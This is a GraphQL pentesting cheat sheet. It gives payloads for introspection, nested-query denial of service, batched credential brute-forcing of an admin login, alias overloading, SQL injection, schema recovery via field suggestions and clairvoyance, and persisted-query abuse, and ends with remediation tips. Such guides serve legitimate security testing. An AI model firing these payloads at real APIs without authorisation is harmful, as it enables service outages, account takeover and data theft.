GraphQL Pentesting
GraphQL APIs offer flexibility but introduce unique attack vectors like introspection abuse, nested query DoS, and batching attacks.
Introspection & Enumeration
Introspection allows you to query the API for its schema.
Check Introspection
Send a query to check if introspection is enabled.
POST /graphql
Content-Type: application/json
{
"query": "{ __schema { types { name } } }"
}POST /graphql
Content-Type: application/json
{
"query": "{ __schema { types { name } } }"
}Get Full Schema
Use tools like gq or InQL to retrieve the full schema.
gq https://api.target.com/graphql --introspectgq https://api.target.com/graphql --introspectManual Enumeration
If you can't get the full schema, try listing types, queries, and mutations manually.
List all types:
{
__schema {
types {
name
kind
}
}
}{
__schema {
types {
name
kind
}
}
}List all queries:
{
__schema {
queryType {
fields {
name
description
}
}
}
}{
__schema {
queryType {
fields {
name
description
}
}
}
}List all mutations:
{
__schema {
mutationType {
fields {
name
description
}
}
}
}{
__schema {
mutationType {
fields {
name
description
}
}
}
}GraphQL Specific Attacks
Nested Query DoS
Send deeply nested queries to exhaust server resources (Circular Queries).
query {
user(id: 1) {
posts {
comments {
author {
posts {
comments {
author {
# ... repeat ...
}
}
}
}
}
}
}
}query {
user(id: 1) {
posts {
comments {
author {
posts {
comments {
author {
# ... repeat ...
}
}
}
}
}
}
}
}Batching Attacks
Send multiple queries in a single request to bypass rate limits or brute force credentials.
[
{ "query": "query { login(u: "admin", p: "123456") { token } }" },
{ "query": "query { login(u: "admin", p: "password") { token } }" },
{ "query": "query { login(u: "admin", p: "12345678") { token } }" }
][
{ "query": "query { login(u: "admin", p: "123456") { token } }" },
{ "query": "query { login(u: "admin", p: "password") { token } }" },
{ "query": "query { login(u: "admin", p: "12345678") { token } }" }
]Alias Overloading
Request the same field multiple times with aliases to cause resource exhaustion.
query {
user1: user(id: 1) { email }
user2: user(id: 2) { email }
user3: user(id: 3) { email }
}query {
user1: user(id: 1) { email }
user2: user(id: 2) { email }
user3: user(id: 3) { email }
}Injection
SQL or NoSQL injection can occur within GraphQL arguments.
query {
user(id: "1' OR 1=1--") {
username
}
}query {
user(id: "1' OR 1=1--") {
username
}
}Clairvoyance & Field Suggestion
When introspection is disabled, GraphQL often still leaks schema information through field suggestions in error messages.
The clairvoyance tool exploits this to reconstruct the schema.
Field Suggestion Attack
Intentionally misspell field names — the server often suggests the correct name:
# Send a query with a typo:
{ usr { id } }
# Server responds with:
# "Did you mean 'user'?"
# This confirms 'user' is a valid type!# Send a query with a typo:
{ usr { id } }
# Server responds with:
# "Did you mean 'user'?"
# This confirms 'user' is a valid type!# Install clairvoyance
pip3 install clairvoyance
# Reconstruct schema without introspection
python3 -m clairvoyance https://api.target.com/graphql -o schema.json
# With authentication header
python3 -m clairvoyance https://api.target.com/graphql \
-H 'Authorization: Bearer TOKEN' \
-o schema.json# Install clairvoyance
pip3 install clairvoyance
# Reconstruct schema without introspection
python3 -m clairvoyance https://api.target.com/graphql -o schema.json
# With authentication header
python3 -m clairvoyance https://api.target.com/graphql \
-H 'Authorization: Bearer TOKEN' \
-o schema.jsonPersisted Query Abuse
Automatic Persisted Queries (APQ) cache queries by hash. If the server accepts arbitrary hashes and executes them, an attacker can register malicious queries that bypass allow-listing.
# Step 1: Send a query hash without the query body
POST /graphql
{
"extensions": {
"persistedQuery": {
"version": 1,
"sha256Hash": "ATTACKER_CONTROLLED_HASH"
}
}
}
# Step 2: If server responds "PersistedQueryNotFound", send with query body
# Server caches it — now the hash maps to your malicious query# Step 1: Send a query hash without the query body
POST /graphql
{
"extensions": {
"persistedQuery": {
"version": 1,
"sha256Hash": "ATTACKER_CONTROLLED_HASH"
}
}
}
# Step 2: If server responds "PersistedQueryNotFound", send with query body
# Server caches it — now the hash maps to your malicious queryGraphQL Security Audit Tool
graphql-cop for a quick automated audit: it checks introspection, batching,
field suggestions, persisted queries, and DoS vectors in one command:
graphql-cop -t https://api.target.com/graphql Remediation
Defense Strategies
- Disable Introspection in production environments.
- Implement Query Depth Limiting (e.g., max depth 5).
- Implement Query Complexity Analysis (cost-based limiting).
- Disable or limit batching functionality.
- Validate all arguments and inputs (treat them as untrusted).